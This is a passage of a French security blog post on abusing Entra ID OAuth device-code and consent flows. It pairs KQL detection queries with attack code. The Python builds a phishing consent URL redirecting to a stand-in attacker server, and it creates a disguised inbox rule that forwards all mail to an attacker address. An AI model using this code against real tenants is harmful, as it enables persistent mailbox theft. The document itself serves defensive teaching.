<div class="language-kusto codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:hsl(212, 13%, 16%);--prism-background-color:hsl(256, 12%, 98%)"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-kusto codeBlock_bY9V thin-scrollbar" style="color:hsl(212, 13%, 16%);background-color:hsl(256, 12%, 98%)"><code class="codeBlockLines_e6Vv"><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">// KQL : Détecter les authentifications suspectes par device code</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">AADSignInLogs</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">| where AuthenticationProtocol == "deviceCode"</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">| where AppDisplayName !in (  // exclure les applications légitimes connues utilisant device code</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">    "Microsoft Azure PowerShell",</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">    "Microsoft Azure CLI",</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">    "Visual Studio Code"</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">)</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">| project </span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">    TimeGenerated,</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">    UserPrincipalName,</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">    IPAddress,</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">    Location,</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">    DeviceDetail,</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">    AppDisplayName,</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">    Status</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">| where Status.errorCode == 0</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">| sort by TimeGenerated desc</span><br></span></code></pre></div></div>
<div class="language-kusto codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:hsl(212, 13%, 16%);--prism-background-color:hsl(256, 12%, 98%)"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-kusto codeBlock_bY9V thin-scrollbar" style="color:hsl(212, 13%, 16%);background-color:hsl(256, 12%, 98%)"><code class="codeBlockLines_e6Vv"><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">// KQL : Alerter sur une authentification device code depuis un emplacement inconnu</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">let known_locations = </span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">    AADSignInLogs</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">    | where TimeGenerated &gt; ago(30d)</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">    | where AuthenticationProtocol != "deviceCode"</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">    | summarize KnownLocations = make_set(Location) by UserPrincipalName;</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">AADSignInLogs</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">| where AuthenticationProtocol == "deviceCode"</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">| where TimeGenerated &gt; ago(1d)</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">| join kind=leftouter known_locations on UserPrincipalName</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">| where not(Location in (KnownLocations))</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">| project TimeGenerated, UserPrincipalName, Location, IPAddress, AppDisplayName</span><br></span></code></pre></div></div>
<hr>
<h2 class="anchor anchorTargetStickyNavbar_Vzrq" id="section-3--abus-de-consentement-oauth--accès-persistant-via-de-fausses-applications">Section 3 : Abus de Consentement OAuth  Accès Persistant via de Fausses Applications<a href="https://inferencedefense.com/fr/blog/comment-les-attaquants-abusent-entra-id-oauth-sans-malware#section-3--abus-de-consentement-oauth--acc%C3%A8s-persistant-via-de-fausses-applications" class="hash-link" aria-label="Direct link to Section 3 : Abus de Consentement OAuth  Accès Persistant via de Fausses Applications" title="Direct link to Section 3 : Abus de Consentement OAuth  Accès Persistant via de Fausses Applications" translate="no">​</a></h2>
<h3 class="anchor anchorTargetStickyNavbar_Vzrq" id="lattaque-qui-survit-aux-réinitialisations-de-mot-de-passe-et-aux-changements-mfa">L'Attaque qui Survit aux Réinitialisations de Mot de Passe et aux Changements MFA<a href="https://inferencedefense.com/fr/blog/comment-les-attaquants-abusent-entra-id-oauth-sans-malware#lattaque-qui-survit-aux-r%C3%A9initialisations-de-mot-de-passe-et-aux-changements-mfa" class="hash-link" aria-label="Direct link to L'Attaque qui Survit aux Réinitialisations de Mot de Passe et aux Changements MFA" title="Direct link to L'Attaque qui Survit aux Réinitialisations de Mot de Passe et aux Changements MFA" translate="no">​</a></h3>
<p>L'abus de consentement OAuth est l'un des mécanismes de persistance les plus sous-estimés dans les environnements d'entreprise. Un attaquant qui trompe un utilisateur pour qu'il consente à une application malveillante reçoit un token OAuth qui persiste à travers les réinitialisations de mot de passe, les changements MFA et la récupération de compte  car il est lié à l'enregistrement de l'application, pas à l'identifiant.</p>
<h3 class="anchor anchorTargetStickyNavbar_Vzrq" id="comment-fonctionne-le-consentement-oauth-et-où-cela-échoue">Comment Fonctionne le Consentement OAuth (et Où Cela Échoue)<a href="https://inferencedefense.com/fr/blog/comment-les-attaquants-abusent-entra-id-oauth-sans-malware#comment-fonctionne-le-consentement-oauth-et-o%C3%B9-cela-%C3%A9choue" class="hash-link" aria-label="Direct link to Comment Fonctionne le Consentement OAuth (et Où Cela Échoue)" title="Direct link to Comment Fonctionne le Consentement OAuth (et Où Cela Échoue)" translate="no">​</a></h3>
<p>Quand un utilisateur se connecte à une application tierce avec "Se connecter avec Microsoft", il voit une invite de consentement listant les permissions demandées. S'il consent, Entra ID crée un principal de service dans le tenant représentant cette application, et les permissions déléguées sont stockées définitivement.</p>
<p>Le problème : la plupart des utilisateurs cliquent sur les invites de consentement sans les lire. Et la configuration par défaut de Microsoft permet aux utilisateurs de consentir à des applications demandant des permissions de faible privilège sans approbation administrateur.</p>
<p><strong>Permissions qui semblent peu risquées mais permettent un accès significatif :</strong></p>
<table><thead><tr><th>Permission</th><th>Apparence</th><th>Ce qu'elle permet</th></tr></thead><tbody><tr><td><code>Mail.Read</code></td><td>"Lire votre courrier"</td><td>Accès complet à la boîte de réception, continu via refresh token</td></tr><tr><td><code>Files.Read.All</code></td><td>"Lire tous les fichiers"</td><td>Chaque fichier SharePoint et document OneDrive</td></tr><tr><td><code>User.ReadBasic.All</code></td><td>"Lire les profils utilisateurs de base"</td><td>Énumération complète du répertoire</td></tr><tr><td><code>offline_access</code></td><td>(souvent non affiché)</td><td>Accès persistant via refresh token</td></tr><tr><td><code>MailboxSettings.Read</code></td><td>"Lire vos paramètres de boîte aux lettres"</td><td>Règles de transfert d'email, règles de boîte de réception</td></tr></tbody></table>
<h3 class="anchor anchorTargetStickyNavbar_Vzrq" id="lattaque--consentement-illicite">L'Attaque : Consentement Illicite<a href="https://inferencedefense.com/fr/blog/comment-les-attaquants-abusent-entra-id-oauth-sans-malware#lattaque--consentement-illicite" class="hash-link" aria-label="Direct link to L'Attaque : Consentement Illicite" title="Direct link to L'Attaque : Consentement Illicite" translate="no">​</a></h3>
<div class="language-python codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:hsl(212, 13%, 16%);--prism-background-color:hsl(256, 12%, 98%)"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-python codeBlock_bY9V thin-scrollbar" style="color:hsl(212, 13%, 16%);background-color:hsl(256, 12%, 98%)"><code class="codeBlockLines_e6Vv"><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token comment" style="color:hsl(212, 9%, 47%);font-style:italic"># L'attaquant enregistre une application dans n'importe quel tenant Azure (y compris le sien)</span><span class="token plain"></span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain"></span><span class="token comment" style="color:hsl(212, 9%, 47%);font-style:italic"># Définit l'URI de redirection vers son serveur contrôlé</span><span class="token plain"></span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain"></span><span class="token comment" style="color:hsl(212, 9%, 47%);font-style:italic"># Fabrique une URL de consentement ciblant l'organisation victime</span><span class="token plain"></span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain" style="display:inline-block"></span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">attacker_app_client_id </span><span class="token operator" style="color:hsl(212, 92%, 35%)">=</span><span class="token plain"> </span><span class="token string" style="color:hsl(139, 66%, 32%)">"attacker-app-client-id-here"</span><span class="token plain"></span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">redirect_uri </span><span class="token operator" style="color:hsl(212, 92%, 35%)">=</span><span class="token plain"> </span><span class="token string" style="color:hsl(139, 66%, 32%)">"https://attacker-server.com/callback"</span><span class="token plain"></span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">tenant_id </span><span class="token operator" style="color:hsl(212, 92%, 35%)">=</span><span class="token plain"> </span><span class="token string" style="color:hsl(139, 66%, 32%)">"target-company.onmicrosoft.com"</span><span class="token plain">  </span><span class="token comment" style="color:hsl(212, 9%, 47%);font-style:italic"># ou le GUID du tenant</span><span class="token plain"></span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain" style="display:inline-block"></span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain"></span><span class="token comment" style="color:hsl(212, 9%, 47%);font-style:italic"># Portées demandant un accès persistant et large</span><span class="token plain"></span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">scopes </span><span class="token operator" style="color:hsl(212, 92%, 35%)">=</span><span class="token plain"> </span><span class="token string" style="color:hsl(139, 66%, 32%)">" "</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">.</span><span class="token plain">join</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">(</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">[</span><span class="token plain"></span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">    </span><span class="token string" style="color:hsl(139, 66%, 32%)">"openid"</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">,</span><span class="token plain"></span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">    </span><span class="token string" style="color:hsl(139, 66%, 32%)">"profile"</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">,</span><span class="token plain"> </span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">    </span><span class="token string" style="color:hsl(139, 66%, 32%)">"email"</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">,</span><span class="token plain"></span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">    </span><span class="token string" style="color:hsl(139, 66%, 32%)">"offline_access"</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">,</span><span class="token plain"></span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">    </span><span class="token string" style="color:hsl(139, 66%, 32%)">"https://graph.microsoft.com/Mail.Read"</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">,</span><span class="token plain"></span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">    </span><span class="token string" style="color:hsl(139, 66%, 32%)">"https://graph.microsoft.com/Files.Read.All"</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">,</span><span class="token plain"></span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">    </span><span class="token string" style="color:hsl(139, 66%, 32%)">"https://graph.microsoft.com/User.ReadBasic.All"</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">,</span><span class="token plain"></span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">    </span><span class="token string" style="color:hsl(139, 66%, 32%)">"https://graph.microsoft.com/MailboxSettings.ReadWrite"</span><span class="token plain">  </span><span class="token comment" style="color:hsl(212, 9%, 47%);font-style:italic"># active les règles de transfert</span><span class="token plain"></span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain"></span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">]</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">)</span><span class="token plain"></span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain" style="display:inline-block"></span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain"></span><span class="token comment" style="color:hsl(212, 9%, 47%);font-style:italic"># URL de consentement  envoyée à la victime par email de phishing</span><span class="token plain"></span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">consent_url </span><span class="token operator" style="color:hsl(212, 92%, 35%)">=</span><span class="token plain"> </span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">(</span><span class="token plain"></span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">    </span><span class="token string-interpolation string" style="color:hsl(139, 66%, 32%)">f"https://login.microsoftonline.com/</span><span class="token string-interpolation interpolation punctuation" style="color:hsl(212, 13%, 16%)">{</span><span class="token string-interpolation interpolation">tenant_id</span><span class="token string-interpolation interpolation punctuation" style="color:hsl(212, 13%, 16%)">}</span><span class="token string-interpolation string" style="color:hsl(139, 66%, 32%)">/oauth2/v2.0/authorize"</span><span class="token plain"></span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">    </span><span class="token string-interpolation string" style="color:hsl(139, 66%, 32%)">f"?client_id=</span><span class="token string-interpolation interpolation punctuation" style="color:hsl(212, 13%, 16%)">{</span><span class="token string-interpolation interpolation">attacker_app_client_id</span><span class="token string-interpolation interpolation punctuation" style="color:hsl(212, 13%, 16%)">}</span><span class="token string-interpolation string" style="color:hsl(139, 66%, 32%)">"</span><span class="token plain"></span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">    </span><span class="token string-interpolation string" style="color:hsl(139, 66%, 32%)">f"&amp;response_type=code"</span><span class="token plain"></span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">    </span><span class="token string-interpolation string" style="color:hsl(139, 66%, 32%)">f"&amp;redirect_uri=</span><span class="token string-interpolation interpolation punctuation" style="color:hsl(212, 13%, 16%)">{</span><span class="token string-interpolation interpolation">redirect_uri</span><span class="token string-interpolation interpolation punctuation" style="color:hsl(212, 13%, 16%)">}</span><span class="token string-interpolation string" style="color:hsl(139, 66%, 32%)">"</span><span class="token plain"></span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">    </span><span class="token string-interpolation string" style="color:hsl(139, 66%, 32%)">f"&amp;scope=</span><span class="token string-interpolation interpolation punctuation" style="color:hsl(212, 13%, 16%)">{</span><span class="token string-interpolation interpolation">scopes</span><span class="token string-interpolation interpolation punctuation" style="color:hsl(212, 13%, 16%)">}</span><span class="token string-interpolation string" style="color:hsl(139, 66%, 32%)">"</span><span class="token plain"></span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">    </span><span class="token string-interpolation string" style="color:hsl(139, 66%, 32%)">f"&amp;response_mode=query"</span><span class="token plain"></span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">    </span><span class="token string-interpolation string" style="color:hsl(139, 66%, 32%)">f"&amp;state=random-state-value"</span><span class="token plain"></span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain"></span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">)</span><span class="token plain"></span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain" style="display:inline-block"></span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain"></span><span class="token comment" style="color:hsl(212, 9%, 47%);font-style:italic"># Quand la victime clique et consent, l'attaquant reçoit un code d'autorisation</span><span class="token plain"></span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain"></span><span class="token comment" style="color:hsl(212, 9%, 47%);font-style:italic"># Il l'échange contre des access + refresh tokens</span><span class="token plain"></span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain"></span><span class="token comment" style="color:hsl(212, 9%, 47%);font-style:italic"># La subvention d'application persiste indéfiniment dans le tenant</span><br></span></code></pre></div></div>
<div class="language-python codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:hsl(212, 13%, 16%);--prism-background-color:hsl(256, 12%, 98%)"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-python codeBlock_bY9V thin-scrollbar" style="color:hsl(212, 13%, 16%);background-color:hsl(256, 12%, 98%)"><code class="codeBlockLines_e6Vv"><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token comment" style="color:hsl(212, 9%, 47%);font-style:italic"># Après consentement, l'attaquant configure le transfert d'email via Graph API</span><span class="token plain"></span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain"></span><span class="token comment" style="color:hsl(212, 9%, 47%);font-style:italic"># C'est le mécanisme de persistance  même si l'utilisateur change son mot de passe,</span><span class="token plain"></span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain"></span><span class="token comment" style="color:hsl(212, 9%, 47%);font-style:italic"># tous les emails continuent à être transférés vers la boîte de l'attaquant</span><span class="token plain"></span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain" style="display:inline-block"></span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">access_token </span><span class="token operator" style="color:hsl(212, 92%, 35%)">=</span><span class="token plain"> </span><span class="token string" style="color:hsl(139, 66%, 32%)">"token-obtained-via-consent"</span><span class="token plain"></span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">headers </span><span class="token operator" style="color:hsl(212, 92%, 35%)">=</span><span class="token plain"> </span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">{</span><span class="token plain"></span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">    </span><span class="token string" style="color:hsl(139, 66%, 32%)">"Authorization"</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">:</span><span class="token plain"> </span><span class="token string-interpolation string" style="color:hsl(139, 66%, 32%)">f"Bearer </span><span class="token string-interpolation interpolation punctuation" style="color:hsl(212, 13%, 16%)">{</span><span class="token string-interpolation interpolation">access_token</span><span class="token string-interpolation interpolation punctuation" style="color:hsl(212, 13%, 16%)">}</span><span class="token string-interpolation string" style="color:hsl(139, 66%, 32%)">"</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">,</span><span class="token plain"></span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">    </span><span class="token string" style="color:hsl(139, 66%, 32%)">"Content-Type"</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">:</span><span class="token plain"> </span><span class="token string" style="color:hsl(139, 66%, 32%)">"application/json"</span><span class="token plain"></span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain"></span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">}</span><span class="token plain"></span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain" style="display:inline-block"></span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain"></span><span class="token comment" style="color:hsl(212, 9%, 47%);font-style:italic"># Créer une règle de boîte de réception pour transférer tout le courrier à une adresse externe</span><span class="token plain"></span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">forward_rule </span><span class="token operator" style="color:hsl(212, 92%, 35%)">=</span><span class="token plain"> </span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">{</span><span class="token plain"></span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">    </span><span class="token string" style="color:hsl(139, 66%, 32%)">"displayName"</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">:</span><span class="token plain"> </span><span class="token string" style="color:hsl(139, 66%, 32%)">"Security Compliance Rule"</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">,</span><span class="token plain">  </span><span class="token comment" style="color:hsl(212, 9%, 47%);font-style:italic"># nom déguisé</span><span class="token plain"></span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">    </span><span class="token string" style="color:hsl(139, 66%, 32%)">"isEnabled"</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">:</span><span class="token plain"> </span><span class="token boolean" style="color:hsl(356, 75%, 47%)">True</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">,</span><span class="token plain"></span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">    </span><span class="token string" style="color:hsl(139, 66%, 32%)">"conditions"</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">:</span><span class="token plain"> </span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">{</span><span class="token plain"></span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">        </span><span class="token string" style="color:hsl(139, 66%, 32%)">"bodyOrSubjectContains"</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">:</span><span class="token plain"> </span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">[</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">]</span><span class="token plain">  </span><span class="token comment" style="color:hsl(212, 9%, 47%);font-style:italic"># vide = correspond à tous les emails</span><span class="token plain"></span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">    </span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">}</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">,</span><span class="token plain"></span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">    </span><span class="token string" style="color:hsl(139, 66%, 32%)">"actions"</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">:</span><span class="token plain"> </span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">{</span><span class="token plain"></span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">        </span><span class="token string" style="color:hsl(139, 66%, 32%)">"forwardTo"</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">:</span><span class="token plain"> </span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">[</span><span class="token plain"></span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">            </span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">{</span><span class="token plain"></span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">                </span><span class="token string" style="color:hsl(139, 66%, 32%)">"emailAddress"</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">:</span><span class="token plain"> </span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">{</span><span class="token plain"></span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">                    </span><span class="token string" style="color:hsl(139, 66%, 32%)">"name"</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">:</span><span class="token plain"> </span><span class="token string" style="color:hsl(139, 66%, 32%)">"Compliance Archive"</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">,</span><span class="token plain"></span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">                    </span><span class="token string" style="color:hsl(139, 66%, 32%)">"address"</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">:</span><span class="token plain"> </span><span class="token string" style="color:hsl(139, 66%, 32%)">"attacker@external-domain.com"</span><span class="token plain"></span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">                </span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">}</span><span class="token plain"></span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">            </span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">}</span><span class="token plain"></span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">        </span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">]</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">,</span><span class="token plain"></span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">        </span><span class="token string" style="color:hsl(139, 66%, 32%)">"stopProcessingRules"</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">:</span><span class="token plain"> </span><span class="token boolean" style="color:hsl(356, 75%, 47%)">False</span><span class="token plain"></span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">    </span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">}</span><span class="token plain"></span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain"></span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">}</span><span class="token plain"></span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain" style="display:inline-block"></span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">response </span><span class="token operator" style="color:hsl(212, 92%, 35%)">=</span><span class="token plain"> requests</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">.</span><span class="token plain">post</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">(</span><span class="token plain"></span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">    </span><span class="token string" style="color:hsl(139, 66%, 32%)">"https://graph.microsoft.com/v1.0/me/mailFolders/inbox/messageRules"</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">,</span><span class="token plain"></span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">    headers</span><span class="token operator" style="color:hsl(212, 92%, 35%)">=</span><span class="token plain">headers</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">,</span><span class="token plain"></span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">    json</span><span class="token operator" style="color:hsl(212, 92%, 35%)">=</span><span class="token plain">forward_rule</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain"></span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">)</span><br></span></code></pre></div></div>
<p>La règle de boîte de réception est invisible pour l'utilisateur final à moins qu'il ne vérifie spécifiquement les règles Outlook. De nombreuses victimes sont compromises pendant des mois avant la découverte.</p>
<h3 class="anchor anchorTargetStickyNavbar_Vzrq" id="détection--chasse-aux-subventions-de-consentement-malveillantes">Détection : Chasse aux Subventions de Consentement Malveillantes<a href="https://inferencedefense.com/fr/blog/comment-les-attaquants-abusent-entra-id-oauth-sans-malware#d%C3%A9tection--chasse-aux-subventions-de-consentement-malveillantes" class="hash-link" aria-label="Direct link to Détection : Chasse aux Subventions de Consentement Malveillantes" title="Direct link to Détection : Chasse aux Subventions de Consentement Malveillantes" translate="no">​</a></h3>
<div class="language-kusto codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:hsl(212, 13%, 16%);--prism-background-color:hsl(256, 12%, 98%)"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-kusto codeBlock_bY9V thin-scrollbar" style="color:hsl(212, 13%, 16%);background-color:hsl(256, 12%, 98%)"><code class="codeBlockLines_e6Vv"><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">// KQL : Trouver les applications tierces récemment consenties</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">AuditLogs</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">| where OperationName == "Consent to application"</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">| extend </span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">    AppName = tostring(TargetResources[0].displayName),</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">    ConsentedBy = tostring(InitiatedBy.user.userPrincipalName),</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">    AppId = tostring(AdditionalDetails[0].value)</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">| where TimeGenerated &gt; ago(30d)</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">| project TimeGenerated, ConsentedBy, AppName, AppId, Result</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">| sort by TimeGenerated desc</span><br></span></code></pre></div></div>
